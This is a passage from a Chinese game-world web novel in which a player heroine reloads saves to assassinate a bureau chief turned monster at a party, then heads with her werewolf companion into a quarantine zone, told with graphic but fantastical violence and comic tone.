是谁刚刚一个照面，二话不说直接就偷袭他？
刚才要不是他反应快，此刻脑袋恐怕都已经变成碎片了。
一个人的脸皮，怎能如此之厚！
他对朝晖有什么故事有什么能力，也不是完全没有兴趣，她刚才所使用的那种控制技能，以及复制异能，都很有意思。
可她竟然对他生出杀心，那么还是先把她杀掉为好。
事后，他可以再去调查情报。
他正准备继续攻击，却听见朝晖忽然又说了一句话。
“局长，反正我也打不过你，我一击失手，便再无机会了。”
这话倒是真的。
秦空山知道自己的异能有多强，而他的身体素质，在异能者当中也算翘楚。
甚至断臂对他来说甚至都不算太大的伤害，他认识非常厉害的治疗系异能者，可以让断臂重生！
都说反派死于话多，其实也不尽然。
当人处在绝对的优势，甚至长久以来一直如此时，难免就会萌生高傲，这是上位者的从容和自信。
他们确实强大，确实很少很少能遇见“翻盘”，这也是朝晖所期待的机会，但是……
“唰！”
朝晖死了。
“你们游戏的boss怎么一个个都这么鬼精？”玩家特别纳闷地埋怨系统，“这boss也是的，还讲不讲道理嘛，话都不让人说！”
系统：“……”
由于死亡，她自动回到了最近的一个存档：酒会厕所。
这不是个思考的好时机，她读档回到在训练营还没出发的时候。
“唔，看来对付他，只能一击必杀，不能慢慢消耗。他的伤害实在太高，又有群攻，压根躲不开。”
“暗杀吗……”
“但是还没有找到触发任务的契机。”
朝晖很想要触发能获取【魔法少女卡牌】的紧急任务。
这样，她就能保留光头女boss的异能了。
她挠头回想，第一次打boss，好像莫名其妙地就触发了；第二次出现，则是经纪人说了“时间重置”之类的词。
“咦，难不成，这是什么隐藏彩蛋？要让游戏人物意识到我能’读档‘，产生了一种打破第四面墙的感觉？”朝晖想，“那还不简单吗，我来试试。”
出门，拉住路过的裴韫，朝晖满脸郑重：“其实我能穿越时间，回到过去，怎么样，厉害吧？”
裴韫：“啊……？”
她只听到一堆阿巴阿巴。
“没用啊！”玩家掉头就
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走。
在玩家看来，npc没有反应，说明他们的智能识别不了这些词语。
朝晖骚扰系统，系统却一直装死，没办法，她只能先上了，不行再说。
要是真的不小心杀掉boss（？），却没能触发任务，大不了就读档几次，让boss仰卧起坐一下，也不是不行……
抱着这样的想法，她再次读档回到酒会厕所内。
此时，他们还没有变身。
李长庚静静等待她的指示，朝晖拉着他把脏衣服脱掉，往门旁一蹲。没过半分钟，之前那位被咬掉脑袋的西装男就搂着一位女郎进来了。
朝晖伸手一搂，那俩人就像是恐怖电影里的倒霉路人甲一样，悄无声息地倒下，然后被她拖到一旁。
为了不被血液弄脏，她拧西装男脖子的时候，只是把脊椎拧断，没有把整条脖子断开，这样血液就不会喷出来了。
“换一下衣服。”朝晖说。
这位女郎身材十分苗条，朝晖勉强套上她的裙子，但背后拉链很难拉上。另一边李长庚却是比那西装男瘦了不少，个头又高，上衣和裤腿都空荡荡的挂在身上，袖口裤口短了一截。
“……”
他俩就跟难民似的。
“你假装搂着我，帮我把这个拉链拢上。”朝晖想出一个办法。
于是两个人就这么推开厕所门，混入酒会。
好在这里灯红酒绿，虽说他俩身上还有点下水道的臭味，衣服也不是很合身，但注意到他们的人大都只是心中迟疑，没有发出尖叫声。
朝晖拽着李长庚飞快穿过人群，然后在一众不可思议的目光之下，直接一屁股坐在了局长的身边。
“朝晖？”寰天的三个总一下子就认出了她。
没办法，朝晖最近真的火！
虽然他们对自己公司的艺人并不是都认识，但这个朝晖，他们还是有印象的。
尤其她似乎还跟安全局有关系……
于是，神奇的局面出现了：玩家就这样大摇大摆地直直闯入，这帮人反而没有任何举动。
因为本场酒会的重量级人物———安全局局长，没有发话。
朝晖认为局长这样性格高傲的boss，在没觉得受到威胁的时候，很可能不会一上来就杀她。光头女boss能被她打败，也是因为低估了她。
果然如此。
秦空山拿着一杯酒，静静地注视着朝晖，似乎完全没有任何惊讶。
不如说，他仿佛对一切事物都没什么兴趣。
“局长，你觉得这个世界是真实吗？”朝晖问。
根据她的分析，局长似乎有点“看淡人生”的感觉，当然他仍然保持着他的高傲。
也不知道在高贵什么！
男npc看淡人生逃避现实的方法就是票昌，真恶心。
但并不妨碍玩家尝试用这个方法试探一下boss。
没想到秦空山竟然真的回答了她：“不是。”
“咦？为什么这么说？”朝晖很感兴趣。
她只是随便问了个x度上面搜出来的哲学问题啊！
“因为这是事实。”
秦空山看了她一眼，咕噜噜喝了口酒，眼神放空：“说吧，你折磨姜遥还不够，又来这里找我干什么？”
他甚至还十分绅士地脱下外套，披在衣衫不整的朝晖身上。
见状，周围的女郎知情识趣地散开，寰天三个总也往旁边去了。
希望他们不要那么快发现被她塞在马桶里的西装男尸体吧。
“哦，我不是打算去封锁区玩吗，无意间得知那里有一个基地，里面关着很多被污染的异能者，似乎是和安全局有关系。”朝晖说，“但姜姐说不知道这件事。”
“嗯，那是我二十多年前建的。当时……”
秦空山顿了顿，“当时，我想帮助那些异能者。但后来我发现，这是不可能的，污染看似可逆，实则到达了一定程度，也就神仙难救了。”
“异能者无法逃离污染——每用一次异能，污染程度都会加深。这件事，在安全局里是严格保密的，但有一些异能者知道，所以他们表现得很疯狂。”
“啊，这样。”玩家说。
“……你就不好奇我为什么告诉你？”
“呃……因为我是天选之子？”朝晖犹豫着问。
“……”
秦空山又喝了口酒，“你有点像我以前认识的一个人，她也很特殊，她可以控制自己身上的污染。”
“啊，系统，你们这还搞替身文学？”
朝晖瞬间就跳了起来，“什么啊，玩家找替身还差不多，npc他凭什么？我感觉我被侮辱了！我要投诉！！”
系统：“……”
秦空山：“……当然她没你这么神经病。”
77.寰天娱乐（35）
就像每个有许多往事的boss那样，秦空山一边喝酒一边说起他以前遇到的那个人。
“她的异能非常强大，可惜在一次前往封锁区的过程中，她不慎被一只污染物偷袭，以至于半边身躯不可逆地异化，精神也陷入了混乱。”
“她靠顽强的意志力挺了过来，甚至能够有意地控制自己的异化。”
“在那之后，我受到了她的鼓舞，建立了一座基地，目的就是为了帮助那些陷入不可逆异化的异能者，当然，也是为了顺势在封锁区内寻找她。可惜，目前为止，还没有出现第二个像她那样的人。”
这种啰啰嗦嗦的文案剧情，作为硬核战斗爱好者的朝晖当然是左耳进右耳出，末了发现不对劲：“那你咋就觉得这世界不真实了？”
“是她在精神濒临崩溃的时候看见了一些东西，她后来告诉我的。”
秦空山也不知道是不是喝高了，脸上忽然浮现出一种混合着癫狂和痛苦的表情。
她说……她说……
我们是被神所创造的，我们所经历的一切，都不过是沿着固定轨迹前进的剧情，是被命运女神编织好的故事……
说完那些事情，她就逃跑了，逃入了封锁区深处，不知去了哪里。
之前他不曾理解，但又过了许多年，他也因一次意外陷入异化状态后，才真正明白了她所面临的恐怖。
就像是看到了许多无法理解的事物，他的大脑变得呆滞，精神濒临崩溃。要不是他的副手及时敲晕他，恐怕他已经死了。
后来，他也曾尝试过寻找各种办法，甚至利用异能者做实验，试图寻找所谓“真相”，或者摆脱那种精神方面的影响。可是不论如何，他也没能做出任何实质性的改变。
最终，他陷入了半放弃的状态。那些被他救助的异能者，也不过是进入一种缓慢等死的状态。
【已触发精英级·紧急任务！】
【紧急任务·邪恶的安全局局长：
名为安全局局长，背地里却做着违反法律的勾当，没有尽到应有的责任。
他甚至隐瞒了自己强大的能力，或许这当中隐藏着阴谋！
作为正义的偶像……嘶嘶……异能者，保护人民也是您的责任。
击败他，获得奖励：魔法少女卡牌x1。
请注意：若重新读档，您可能不会再次触发该任务。
进度：0/1。】
“咦？所以只要稍微走走剧情就可以触发了吗？”朝晖大喜。
趁秦空山还沉浸在“剧情”当中，玩家不讲武德，从裙下掏出卫生纸。
boss脸色有些怪异：“……？”
他虽然没有上个周目的记忆，但是看见这卫生纸，心中却不知为何有些抗拒。
还有，为什么你会在裙子下面藏着一卷这玩意儿啊？怪不得你的裙子鼓鼓囊囊的看着很奇怪！
朝晖面色坦然，撕下一片卫生纸朝着boss脸蛋上一贴。
对面的李长庚显然也知晓朝晖的战斗方式，肌肉紧绷，做好万全准备。
下一刻，朝晖猛然暴起，熟练地切换【狂战士】状态，在极近的距离之下一拳朝着boss的脑门锤去！
而李长庚也一跃而上，半空中就已化为狼型，血盆大口对着boss的脑门直直而去。
她只有8秒时间，在boss被控制的时间内，是她最有机会的时候！
“砰！”
boss毕竟是人不是神，如此近距离如此大杀伤力的偷袭，他终究还是没能战胜自己的傲慢。
两面夹击之下，他的脑门被捶扁了一半，几乎烂得不成样子。
朝晖还没来得及开心，抬头一看boss血条，我去，怎么才掉了一半血？
而这一半的血量，甚至还在缓缓上涨！
“啊啊啊啊啊！”
秦空山终于没能保持淡定，发出惨叫声。
“砰砰！”
朝晖抬手从裙下掏出普通手木仓，两颗子弹几乎是瞬间射入boss的心口。
却仿佛泥牛入海。
boss的身体开始膨胀，变黑。
他竟然异化了！
“啊？原来打头才能出第二阶段！”朝晖两眼一黑。
此刻boss依旧受到卫生纸的控制，时不时颤抖着身躯，他就像是克苏鲁游戏当中的怪物一样，身体膨胀、皮肤皲裂、血肉涌出，同时在空中幻化出许许多多包裹着血肉的武器。
周围的尖叫声响亮到朝晖脑壳疼，只见boss变成的大怪物长长的手一捞，好几位路人甲就被它捞了进去，和那堆血肉进行了一个大团圆。
boss的血量竟以肉眼可见的速度上涨！
朝晖本不想去管路人甲，但这时候，若不管他们，反倒为敌人平白增加血包。
“男的杀了女的捞走！”朝晖大喊，“别离他太近，他好像已经被污染了！”
为了能保持boss身上的控制，她暂时只能去偷boss的技能。而“操控武器”，除了有她控制不熟练这个缺点之外，也不像是触手、机械化那么的具有多样性。
它最大的优点就是：攻击力强！
没打中，没关系。但是要被打中一下，基本就是一个死字。
朝晖丢出一大堆炸弹，这些炸弹虽然劣质，好歹也能炸两下，而她距离boss很近，不存在丢不中的问题。
趁boss被她骚扰，李长庚已经龙卷风卷入停车场，在一堆毫无反抗能力的普通人当中游走，男的咬死，丢出去；女的一脚踹远。
时间紧迫，只能采用如此方法。她们难免会受点小伤，可那总比死了好。
有几位聪明的女郎，被踹飞出去之后强忍疼痛，勉强爬起身，拖着几位同伴爬到整个房间离怪物最远的地方。
这时候，大门被猛然推开，门外的保镖鱼贯而入。
朝晖眼前又一黑：“朋友，来给你老板送菜啊？”
这保镖压根不是来保护老板的，而是帮老板回血的一个个行走血包！
果然，保镖还没来得及搞明白在场的哪位才是敌人，朝晖也还没来得及阻止，boss大手一挥，已然是捉了一位往自己身上一甩。
他身上几张血淋淋的嘴巴张开，一双双手兴奋地挥舞着，就把那尖叫着的倒霉保镖给“拥抱”住，然后缓慢地融为一体。
boss的血量再次暴涨一截，眼看都要回满了！
朝晖怒不可遏，大吼一声：“不想死就赶紧滚！”
几位保镖都是普通人类，本想找找自己的老板在哪，但既然率先被攻击，那么当然就把敌人锁定为怪物。
脑子聪明的，已经立刻拉开距离；傻乎乎的，则停顿在原地掏枪试图对抗。
最笨的是个倒霉蛋，大喊一声“小明！”就想冲上去营救他的兄弟。
好在李长庚及时赶到，把他扑到一边一口咬死，尸体丢到远处。
要不然，boss的血真就要回满了。
他干掉这个保镖，又去追杀另外几个。一时间，那些保镖也十分迷茫，搞不清楚哪位才是敌人，哪位才是友军，就这样被他横扫而过。
朝晖在空中凝聚出大量长枪，这冷兵器她做了几次之后，进步肉眼可见：长枪枪身泛着冷冽的寒光，速度极快，和boss制作的武器在空中互相对撞，一时间，刺耳的金属摩擦声响起，锃锃不绝于耳，火花四溅，碎片散落。
朝晖的长枪仍不敌boss，可这阻挡住了他大部分攻势，剩下的，她几个利落的翻身躲掉。
不行，对付这个boss还是得近身战斗！
但现在，它进入第二阶段之后，身体的弱点也被弥补：污染物的身躯相当结实，甚至他还能通过吃人来回血。
唯一的好处，或许是由于boss本体被打中脑袋，此刻一边嚎叫一边歪歪扭扭地挥舞着手臂，看起来脑子不太好使。
“都变成污染物了还有异能！这boss太超纲了吧？”朝晖怒骂系统。
她咬咬牙，掏出【电击治疗手木仓】给自己来了一下。
存储着的触手异能不能被浪费。
此刻她十分想念余烬的能力，那种火焰非常克制污染物。
可恶，她记得今天在场的就有一位万世娱乐的人，等打完这个boss，万世娱乐也必须死！
触手一出现，对面的boss仅剩的一只眼竟然光芒大放，眼中全是贪婪。
他有种预感，如果能“吃掉”对面的人，自己会获得非常强大的提升。
由于朝晖患有网瘾，她仍处于治疗手木仓的僵直期。boss这一扑过来，动作极快，她一时间竟然没躲过去。
断尾求生！<
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朝晖舍弃掉了自己的一截触手。
触手上的眼球也如灯泡般亮起来，咕噜噜转动着，似乎在无声倾诉自己的愤怒。
她心痛地狂吞回血药以弥补损失的血量、闪身后回头一瞧，这位boss低着头捧着那截触手，细嚼慢咽吃得十分耐心。
“你真当吃海鲜呢啊？”
见到boss吃得这么专心、她忽然有了个主意。
像自杀一般，她飞快朝着boss掠去，触手大张，形成一个巨大的拥抱，抱住了boss。
随后，用力，缠紧！
“啊！！……美味……美味……”
boss一边发出嚎叫，一边迫不及待地开吃，朝晖狂吞药，由着他吃——反正她也不疼。
而boss也不在乎她的伤害。
随后，一发子弹击中了boss。
是【电击治疗手木仓】的子弹。
boss陷入僵直，朝晖身上的触手开始脱落、死亡。他仍没反应过来，依旧在吃着；而朝晖一瞬间狂爆手速，搓了几十颗炸弹，塞进了触手之内。
“砰砰砰！！”
玩家被炸飞出去，身上血淋淋的，半块胸口都被炸没了，内脏好悬没掉出来。
然而boss的模样却比她还要凄惨。
刚刚融合在一起的怪物此刻碎裂成好几块，四周全是血肉糊糊，难分你我。
尤怕不保险，朝晖又是凝聚出各种长枪朝那些肉块丢过去。
肉块被插成蜂窝煤，boss血量依旧没归零。
可挂着【重伤】等debuff的朝晖，血量所剩无几！
她只能把剩下的药全塞进嘴里，勉强撑住。
现在这个距离，以她三脚猫的搓炸弹能力，那炸弹来不及飞到boss身旁就会提前炸开了。
或许是到了极限时刻，她忽然领悟了土法制炮：不管怎样，先搓一个大土炮出来，再塞几颗炸弹进去，然后就这么往外丢？
随着她的想法，一尊丑到难以见人的土坨子出现在她身边，张口“砰砰砰”地往外丢炸弹，均匀地把地上那些怪物身躯全部都覆盖到。
由于土炮射出的炸弹速度比她手丢要快很多，这些劣质炸弹没有在半空中就爆炸，而是坚持到了终点。
经历如此洗礼，boss也终于是撑不住了。
恭喜您成功击杀了……”
系统的通知声响起，朝晖却没功夫去听，拿出新到手的魔法少女卡牌，强撑着跑到boss旁边，先把异能吸过来再说。
到手，存档！
她身形一软，为了延缓掉血速度，只得瘫软在地不去乱动。
“呜呜呜！”李长庚担忧地看着她。
朝晖现在这惨样，居然还没死，可以说是一种医学上的奇迹。
他变回人形，把行走困难的朝晖扛着。
“都杀掉了吗？”
“嗯，一个都没放走。”这是指那堆保镖。
“手机呢？”
李长庚一翻手腕，赵总的手机赫然出现在他的手上。
至于在场的所有男宾，很抱歉，已经全部被咬死了。
李长庚的眼睛泛着红，但他强撑着维持理智。
朝晖……还需要他的帮助。
她拿手机看了眼时间，距离他们从厕所出来才过了十分钟。
“快走快走，我们原路返回。”她焦急道。
背包空间有限，加上他们还要钻管道，背包不能塞太满，因此一些药物被她放在了白马会所的浴室。
吃掉那些药之后，她的血量就能恢复到一个安全线上。
“……我们现在有必要原路返回吗？”李长庚问。
先不提那些见过他们模样的女郎，以及朝晖留在现场的生物证据。光是地上那被无数炸弹洗礼过的痕迹，楼下隐隐传来的尖叫声，就知道这事儿朝晖干得是一点儿也不低调。
“没事。没想到boss还会变成怪物，那我们就是为人民服务，为群众解决问题了嘛！我们现在要做的就是不在场，剩下的交给大佬来解决就行。”朝晖满不在乎道。
“……”
李长庚本来也就是随口一问。
他把朝晖背着来到厕所，钻进通风管道，也不管滴滴答答流落的血液，就这么大摇大摆地原路回去了。
78.寰天娱乐（36）
这边厢的包间当中，朝晖刚钻进浴室，就一个猛虎扑食飞向药物。
“这叫什么？丝血奇迹！系统，我这一手极限控血难道不强吗？”
朝晖眼看自己只剩下1点的血量被缓缓抬起来，胸口的巨大伤口也不科学地开始愈合，赶忙松了口气。
系统：“……您很强。不过接下来的事情也并不好应对……”
包厢隔音十分不错，现在外面看似风平浪静，暂时听不出什么问题。但实际上，朝晖这次杀了那么多人，还都是各个公司的实权人物。闯下的祸，实在不是之前的小打小闹可以比拟的。
以至于，她暂时没有空闲去清点战利品。
她只记得刚刚刷刷跳出许多条系统提示，比如【只手遮天的财阀】已经跳到了35/100，紧急任务完成拿到了魔法少女卡牌，击杀精英级别污染物，掉落大量的能源和经验值等等……
她把东西胡乱堆放在浴室的洗手台边，先清理身上的污渍。
“朝晖？”外面忽然有人喊她。
“咦，姜姐。”
朝晖连忙观察现在的情况。李长庚昏昏沉沉地倒在地上，他也受了很多伤，没有危及性命，但也有不少枪伤、被爆炸波及的伤口，目前虽然都大致愈合了，却消耗了他大量的精力。
李长庚现在眼睛通红，额头发烫。朝晖打开【员工面板】，果然发现他身上有着不少debuff。
【发烧】【虚弱】【疲惫】……
朝晖只得在浴室搜索一圈，找到几套崭新的浴袍，眼前一亮。
她将李长庚丢进浴缸，挤了很多香喷喷的沐浴液，不由分说用冷水一通狂冲，把下水道的臭味、血液的痕迹统统洗掉。又如法炮制把自己也给刷干净。
或许是冷水有一定的降温效果，李长庚终于勉强爬起来，把浴袍裹在身上。
虽然血液会留下可以被检查到的痕迹，但他们俩身上的血大都是自己的，基本没有沾染到别人的血。
朝晖翻找着翻找着，从洗手池下面的柜子里找出一个盒子，里面有什么鞭子、手铐、蜡烛之类的物品……？
“快快，把这个拿着。”朝晖把鞭子丢到李长庚脚边。
“……”
小弟的眼神十分复杂。
朝晖把浴袍裹上，笃定道：“万一之后有警察问，你就一口咬死了我们在玩s/m，你情我愿的那种。听懂了吗？”
“……”
“朝晖？”
姜瑶的声音逐渐近了，朝晖忙喊一声：“哎！”
“……你没喝多吧？”
姜瑶不可能真的把自己喝得不省人事，小眯一会儿就醒来了。
醒来后，正巧听见浴室那边传来一点动静。
“没事呀。”朝晖说着，已经把浴室门推开。
姜瑶探头一看，那表情瞬间就变得特别的一言难尽。
只见浴室之内，小李同志非常无力地坐在浴缸前面的地毯上，裹着半湿的浴袍，身旁有一根鞭子，脸颊通红，表情迷茫无措。
他裸露的手臂和小腿上，有几道明显发白泛粉的皮肤，一看就是受伤之后长出的新肉，还没完全愈合。
另一边朝晖穿着浴袍，头发湿漉漉的，像小狗一样露出一个可爱的笑容，用她那双漂亮的大眼睛特别不要脸地盯着姜瑶。
哼！
一看就是闯祸了！
姜瑶把朝晖往旁边一拉，怒斥：“嬉皮笑脸的！虽然你们是同龄人，但是他不是没成年吗？你别太过分了！”
“哦哦，没有没有，你误会了！”朝晖忙道，“我们现在就准备出发去封锁区啦，姜姐，一会儿你记得看手机啊。”
姜瑶一惊，“你又干什么了？”
“走啦走啦……！”
朝晖带了备用衣服，不过放在车上，原本是打算在封锁区战斗时可能会用上的。
“等等，你别跑，我送你去封锁区。”姜瑶说。
叫来经理结账，朝晖仔细观察了一下经理npc的表情，发现看不出一丝破绽。
她不知道那位秦局长的能量有多大。
按理说，她不可能那么容易就干掉他。
最难的地方，在于她作为普通玩家，一般是很难找到这位局长的行踪的。
要不是恰好从赵总的手机里看见了他要参加这个聚会，朝晖压根找不到神出鬼没的安全局局长在哪。
虽然，她其实也不是来杀他的……
她想干掉的明明是寰天三个总呀！
但现在嘛，和局长相比，寰天三个总便成了可有可无的小角色了。
“还没传出消息吗？”朝晖心道。
小弟忽然凑过来，小声在她耳边说：“老板，我可能快撑不住了。”
“没事，姜姐那车挺大，你的车就先停在这儿吧。”朝晖从他那里拿过车钥匙，去车上把备用的衣服和一些装备都拿下来。
姜瑶：“……什么？”
她开的是她的私人车辆，低调又帅气的灰色suv。
李长庚蹦跶上后排，唰啦啦两下变成了狗。
正准备进入驾驶室的姜瑶：“……他的异能吗？”
“是的，他说他在月圆之夜会有些控制不住自己。”朝晖解释一番。
姜瑶面色一变，“像他这种类型是十分危险的，一般需要专业的控制和引导才能保持冷静和理智。这些年他都是在哪里度过月圆之夜？”
“他说他自己去封锁区边缘嚎一嚎就行了。”
“……”
怪不得她非要带着个小弟一起去。
那边李长庚忍不住发出呼噜呼噜的低嚎声，朝晖一把敲在他后脑勺上，顿时世界就变得很安静。
姜瑶还没来得及说什么，朝晖又道：“姐，在咱们局里，是不是除了局长，你就是老大了？”
“算是吧，怎么，你又有什么事想要我帮忙？”
说起来也怪，她堂堂姜副局长，怎么就变成了个擦屁股的？
“嗯，其实也没什么大事。”朝晖说，“我就是有个小疑问。”
“说。”
“假如那位局长退休了，或者因为各种原因辞去这个职位了，那你是不是就转正啦？”
姜瑶有些无语，侧头看了她一眼，好笑道：“你还盼着我升职啊，真是谢谢你了。”
咦？等等。
姜瑶一愣，忽然一个急刹车，把车停在了路边的位置。
“你今天忽然想去封锁区，跟秦局有什么关系么？”
“没有啊。”朝晖说。
“那你怎么忽然……”
朝晖犹豫片刻。
按理说，她是可以把这件事告诉姜瑶的，没必要瞒着她。
但这个告诉她的时间点，也有几分讲究。
如果在行动之前就告诉姜瑶，那么姜瑶明知局长有难，肯定不可能置之不理。
如果现在告诉她的话，朝晖又很有可能不得不跟她一起去一趟局
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子。
最好的时间点，自然就是让姜瑶在朝晖已经进入封锁区之后，才知道这件事。
那么朝晖一时半会儿出不来，姜瑶也可以用这个理由去应付其他人。
这就跟朝晖小时候闯祸一样，主打一个先斩后奏，等老妈知道的时候，唯一能做的也就是先给她擦屁股。
嘿嘿，计划通！
没想到姜瑶被她坑怕了，于是车也不开了，就那么停在路边看着她。
“姜姐，我不告诉你是为了你好！”朝晖忙道，“要不我来开，你听我说，我们现在离案发现场越远，事后就越好甩锅！而且不能让咱们局里的异能者久等了呀！
“……案发现场！？”
“嗯，事情是这样的……”
朝晖索性和姜瑶交换座位，打开导航，熟练地一边开车、一边把自己干的事儿交待了。
说完，又把赵总的手机掏出来交给她。
反正她已经存档，万一姜瑶反应很激烈，那她就读档回去，坚决不让姜瑶送她就行。
“……事情就是这样，我只是想把寰天搞垮而已，局长那事真是个意外……”朝晖嘴皮子翻个不停，为自己辩解，“你想想，他都变成了一个大怪物！还要杀我！我这是正当防卫呀！”
“他……异化了？”
姜瑶并不如朝晖想象的那样激动，而是神色凝重道，“怎么会？我还以为他状态不错。”
“咦，你知道他有异能？”
“当然知道啊。”姜瑶说。
“……”
朝晖有一种被背叛的感觉，特别委屈地说道：“你骗我！”
“废话！这种等级的机密怎么可能随便告诉你？”姜瑶呛了她一句，“行了，我知道了，到了封锁区之后，他们会带你的。你低调一点，不要跟异能者前辈打架，不要杀人！明白了吗？”
“姐！”
姜瑶轻描淡写的一句话，带给朝晖满满的安全感！
没想到局长都被她给干掉了，姜瑶还是这么一副“你乖一点我来擦屁股”的语气。
不愧是我投靠的大佬！
朝晖觉得自己的眼光真是太好了。
更好的是，姜瑶这句话还送了她一个支线任务。
“恭喜您触发了支线任务【封锁区之旅】。”
【封锁区之旅：
是时候接触一些真正的异能者了。
听从姜瑶的话，顺利完成封锁区的两天之旅。
任务奖励：经验x200，金钱x500，自选奖励（请找npc姜瑶领取）】
“我听话，一定听话。”朝晖狗腿道，“那我回来后你会送我小礼物对吗？”
“是你哭着喊着说要去封锁区的吧！？又不是我逼你去的！”
“啊，那有没有小礼物？饰品！我要饰品！”
“……我会叫你的经纪人给你买的。”
“好耶！”
朝晖手舞足蹈，好悬没把车开到高速路下面去，被姜瑶臭骂一顿。
她余光瞧见姜瑶拿出手机，一边对着赵总的手机拍摄着什么，面色沉沉，不知在给谁发消息。
车在高速路上一路飞驰，很快抵达封锁区附近。
此时夜色更深，朝晖唤醒了“睡着”的李长庚，一人一狼钻下车、跟姜瑶挥手道别。
在他们前方，是专供安全局异能者暂居的区域。
上次来，她属于偷渡者。现在嘛，也是混上官方人员的身份了。
79.寰天娱乐（37）完
“你好，朝晖。”
一人走上前来，给朝晖发了一套带防护服的套装、一个身份牌。
这是一个眼镜女npc，长得平平无奇，玩家认为她应该就是新地图据点处的发任务的npc了。
眼镜女噼里啪啦地自我介绍一番，朝晖听了一耳朵，全是废话，遂无视。
见朝晖完全没有在听，眼镜女深刻地领会到了姜局长“要是她不搭理你请别在意”那句话是什么意思。
于是她转移了话题：“你的这位同伴，是贫民区异能者联合会的成员吗？”
“呃，是的。”朝晖说。
李长庚此刻保持着狼型，非常显眼。不少异能者路过时都不免看上一眼，眼中不乏警惕或者惊讶。
朝晖带他来，一个是想看看S级异能者能不能真的起到引怪的效果；另一个，就是观察月圆之夜对于李长庚的影响。
目前来看，他似乎勉强还是能够保持理智，没有像某些文学作品当中“狼人”一样陷入疯狂。这让朝晖松了口气，她当然是不希望自己的员工出事的。
只不过，路过的那些异能者投来的目光，都被李长庚狠狠瞪了回去，这倒不像他平时的性格。
“哦，那我这边登记一下。”
眼镜女虽然也有些好奇，不过并没有看太久，就礼貌地收回视线。
“好，你登记吧。对了，你有没有什么任务要交给我？”朝晖紧紧盯着眼镜女npc。
按理说，就算姜姐发了任务，这边的npc也很有可能再发一个呀！
眼镜女：“……你好好跟着我们的队伍，不要乱来，不要掉队，可以吗？”
这个要求和姜瑶的重叠了，没有能触发新的任务。朝晖失望地撇撇嘴，“哦，我没有开车来，坐你们的车吗？”
“对。”
在一番沟通之后，由于小弟体型较大，眼镜女给朝晖安排到一辆大卡车上，她和小弟蹲在卡车后面。
夜风很大，吹得挺舒服的，朝晖表示十分满意。
除了轮班开车的司机，其他人在行车期间都会睡觉休息。等到第二天，也就是周六一早，他们就会抵达预定的地点，开始搜寻污染物的痕迹。
安全局的异能者团队一般会在封锁区深处待上一到两个星期，具体时间，则需要视情况而定。
如果一直没有搜寻到污染物的迹象，那么就会提前返回，等待下次巡逻。如果遇见的污染物比较多，也可能会增派人手。
朝晖只请了周末假期，她属于是蹭了姜瑶的关系，来观光体验的，两天后团队会派一辆车把她送回到封锁区入口。
由此可想而知，面对她这个“关系户”，其他正经异能者团队的人，自然是有几分不屑。
此时还是早春，夜风有些冻人，众多异能者均是身体强健，哪会怕这小小凉风。
但即便如此，他们也还是肉体凡胎，会感冒的，所以各自穿着外套。
结果回头就看见，那“关系户”嚣张得很，就穿了件短袖T恤！
还堂而皇之地无视他们员工的讲话！
更可气的是，她还带了一只狼人。
他们不知道李长庚是男主，拥有稀有的S级异能。他们只知道，这种类型的变身异能，一般都挺厉害的。缺点就是拥有者很容易控制不住自己的情绪，十分暴躁，脾气上来了谁也控制不住。
结果这只倒霉狼人，一点儿也不威武霸气，就耷拉着脑袋站在那小姑娘身后。
明明被月亮影响得眼睛发红，却还老老实实蹲在原地，最多不过是用眼神瞪他们几下，跟一只狗一样。
他们顿时就阴谋论了：
朝晖的行为，就好比是土豪牵了只猎豹去参加朋友的聚会。
看似不经意，实则一举一动都是在炫耀，看，我有一个这么厉害的宠物！
看，这么厉害的一个狼人，是我的小弟！
一点儿也不低调，一点儿也没有身为“关系户”的自觉！
异能者们大都自认为“天选之子”——这也正常，毕竟都有超能力了，难免会产生一种凌驾于普通人之上的感觉。
而他们又都是异能者当中的佼佼者，从小就被选入安全局，参加诸多培训，通过重重考验，算是“官方异能者”，一直以来都战斗在封锁区的深处，为保护民众做贡献。
而朝晖是个什么人？
是偶像！
在他们看来，偶像这份职业，其实就跟街边卖笑的有着那么些异曲同工之妙。
连余烬那样的知名偶像，在异能者圈子里也属于歧视链底层。
朝晖最近虽然很火，但在偶像圈子里还属于新人呢，更加不值一提。
她是个长得漂亮的年轻女性，这又让他们心中多了几分轻视。
就这样一个家伙，也不知道怎么抱上了姜副局长的大腿，莫名其妙地非要去封锁区观光。他们还不得不在这里等她。
多招人恨呐！
眼镜女为人和善，这也是姜瑶拜托她来照顾朝晖的原因。她平时在异能者团队里担任后勤，也积累了很好的人缘。
在被朝晖数次无视之后，一位异能者大哥忍不住了。
他跳将出来，非常不屑非常鄙夷地指着朝晖的鼻子，阴阳怪气道：“封锁区可不是你们这种小孩子来过家家的地方，还当自己是小公主呢，回头出了什么事，倒霉的还不是颜队长？”
……
没人搭理他，大哥非常尴尬地呆立原地。
朝晖正在清点自己的战利品呢！
大量的经验让她直接升了两级，两个天赋点，她没想好是继续加强【偷盗之手】，还是点在【污染之手】后续的天赋树上……
她更没想到的是，局长这boss还给她掉了好多好多好东西！
足足5万多的金钱，200+单位的能源，以及一件装备！
“原来你们的boss还是会掉装备的呀？这次真的是一波肥了！”朝晖特别兴奋地骚扰系统。
“……”
于是，异能者大哥就看见朝晖对着空气自言自语，手舞足蹈，双眼瞪大、嘴角裂开，笑得特别的猥琐，嘴边还发出一些“哇咔咔”“咕噜噜”之类的怪声。
眼镜女，也就是颜队长，拉了那大哥一下，“别惹事，抓紧时间出发吧。”
“就她这样的进去还不是给我们捣乱？”大哥怒了，“她有精神病吧？”
“……她会听姜局长的话，不会乱来的。”颜队长信誓旦旦道。
其实她自己也有点心虚，但出于对姜瑶的信任，她还是同意携带朝晖进入封锁区。
可惜的是，这些个异能者全是刺头，没有哪一个是好脾气的。
有一说一，他们的担心也不是没有道理。
不怕神一样的对手，就怕猪一样的队友。万一他们遇到了强大污染物，陷入紧急的战斗，朝晖这货却在后面给他们捣乱，那不就完了？
异能者大哥脑子里转了一圈，又听见颜队长的劝说，愈发认为颜队长受到了姜副局长的压迫。
自己就来做这个恶人，不能让朝晖去封锁区！
“喂，你听不懂人话吗？”大哥上来就要提朝晖的领子。
原以为朝晖肯定会闪躲，没想到她一动不动，就这么被拎了起来。
旁边跟着那狼人也没什么反应，耷拉着舌头看着天上的月亮发呆。
“咦？”朝晖一愣。
她正专心地研究天赋面板，眼前陡然出现一张npc的大脸，把面板挡住了。
定睛一瞧，这人长了一张平平无奇的脸，一看就是路人甲，头上也没有代表任务的标志。
“你干啥？”朝晖纳闷。
“原来你听得懂人话啊！”此人讽刺。
“怎么还骂我，你怎么这么不讲礼貌？”朝晖说。
“……”
